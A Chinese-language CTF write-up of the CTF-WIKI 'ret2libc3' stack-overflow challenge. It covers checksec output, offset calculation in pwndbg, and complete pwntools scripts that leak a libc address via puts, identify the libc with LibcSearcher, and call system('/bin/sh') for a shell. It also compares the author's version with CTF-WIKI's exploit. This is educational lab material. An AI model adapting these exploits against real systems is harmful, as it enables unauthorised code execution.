题目来源

下载位置: https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3
PS:内容来自于CTF-WIKI

分析

文件类型

(pwn) ┌──(kali㉿kali)-[~/pwn/ret2libc3-libc?]
└─$ file ret2libc3 
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped

这是一个次啊用动态链接库编译的32位EILF文件

软件防护

(pwn) ┌──(kali㉿kali)-[~/pwn/ret2libc3-libc?]
└─$ checksec ret2libc3 
[*] '/home/kali/pwn/ret2libc3-libc?/ret2libc3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

NX是开启的,PIE关闭,这基本就是代表了不能自己写入命令去执行。但是可以拿到对应bss、text、data相关的一些固定信息。

IDA分析

简单看了一下,ida中main函数内容如下

然后还有一个secure函数,里面没有有帮助的内容,如下

然后ida中还有一个bss buf2可以用,但是那个似乎只能在低版本内核中使用,这里就不考虑了。其他有用信息基本没有。。

攻击

攻击思路

根据ida的内容,主要围绕main函数进行,这里只有一个栈溢出漏洞存在,并且没有system函数和sh字符串可以用,并且这道题目并没有给我们libc库,我们需要通过自己构造执行流,在题目系统中,大概率是开启ASLR的,地址也随即,我们还需要通过自己构造的执行流是心啊反弹地址的一个功能,拿到地址通过特征去libc-database中寻找可能的libc版本,再去确定偏移然后通过偏移找到system的位置,到这一步之后我们还可以通过构造执行流去获取一个sh字符串,或者说是从程序、libc中拿到一个sh字符串。

栈溢出位数

使用pwndbg调试,查看位数的位置应该是在gets函数执行过后,内如如下

─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────
*EAX  0xffffd10c ◂— 'hello'
 EBX  0xf7f9ce14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* '\x0c]#' */
*ECX  0xf7f9e8ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x80486a0 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd178 ◂— 0
 ESP  0xffffd0f0 —▸ 0xffffd10c ◂— 'hello'
*EIP  0x804868f (main+119) ◂— mov eax, 0

0xffffd178-0xffffd10c=108+4=112

攻击脚本

elf = ELF("./ret2libc3")
pop_ebp_addr = 0x080486FF
payload = flat(
    [
        b"a" * 112,
        elf.plt["puts"],
        pop_ebp_addr,
        elf.got["puts"],
        elf.symbols["main"],
    ]
)

这里干了三件事,首先溢出并且通过puts函数把puts函数真实在内存中的地址输出出来,然后栈平衡一下继续重新运行mian函数。拿到这个地址之后可以通过libcsearch这个库去搜索对应的libc库
具体代码如下

io.sendlineafter(b"!?", payload)
libc_start_main_leak = io.recvline()
leak_bytes = libc_start_main_leak[:4]
addr = u32(leak_bytes)
print(hex(addr))
libc = LibcSearcher("puts", addr)
offset = addr - libc.dump("puts")

上面的操作是拿到地址之后去libcsearch中搜索对应可能的libc,在ASLR中,他的偏移范围都是按照页的倍数去虚拟化内存地址的,一个页就是4096,4096的16进制是1000,所以后面的三位就不会变化,libcsearch就是通过这个后三位去模糊匹配。运行的时候他会弹出一个选择框,如下图

这些都是有可能的libc库,但是因为libcsearch好久没有更新了,而且libc都是7年前的了,只有老版本的这种题目可以使用,新版本的libc可以去libc-database项目区查询。最终通过猜到的libc拿到对应的偏移区去尝试工具,因为上面组装的payload继续运行了main,就是说我们还可以继续溢出,再次构建一个payload,代码如下

payload2 = flat(
    [
        b"a" * 112,
        libc.dump("system") + offset,
        0xDEADBEEF,
        libc.dump("str_bin_sh") + offset,
    ]
)

这里继续溢出了112,因为上面咱们通过pop_ebp_addr栈平衡了一下,所以偏移不会变,后续通过模糊搜索的libc中的system函数+偏移去执行它,后面的参数也是通过libc去查找。
完整的攻击脚本如下

from pwn import *
from LibcSearcher import LibcSearcher

io = remote("pod.ctf.wlaq", "30922")
elf = ELF("./ret2libc3")

pop_ebp_addr = 0x080486FF
payload = flat(
    [
        b"a" * 112,
        elf.plt["puts"],
        pop_ebp_addr,
        elf.got["puts"],
        elf.symbols["main"],
    ]
)
io.sendlineafter(b"!?", payload)
puts_leak = io.recvline()
leak_bytes = puts_leak[:4]
addr = u32(leak_bytes)
print(hex(addr))
libc = LibcSearcher("puts", addr)
offset = addr - libc.dump("puts")

payload2 = flat(
    [
        b"a" * 112,
        libc.dump("system") + offset,
        0xDEADBEEF,
        libc.dump("str_bin_sh") + offset,
    ]
)

io.sendline(payload2)
io.interactive()

这里要注意的是,如果运行题目的libc版本太高,通过libcsearch估计是做不出来的,得自己通过libc-database项目去找。

CTF-WIKI-EXP分析

去分析一下ctf-wiki提供的exp,代码如下

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

主要的区别在于他后面的溢出是104位,原因是因为它第一次溢出构造反弹真实函数地址的时候,他没有进行栈平衡,代码如下

payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])

这里他返回地址直接填到了mian,运行完puts直接执行main,当它这个main执行的时候,栈内的数据应该是空的,然后因为函数调用他会把ebp压栈,所以会多一个4的位置,然后继续开辟一个位置为100的s

char s[100]

那么esp的位置距离ret就是104,所以第二个payload需要溢出104。

最后修改:2025 年 04 月 05 日
如果觉得我的文章对你有用,请随意赞赏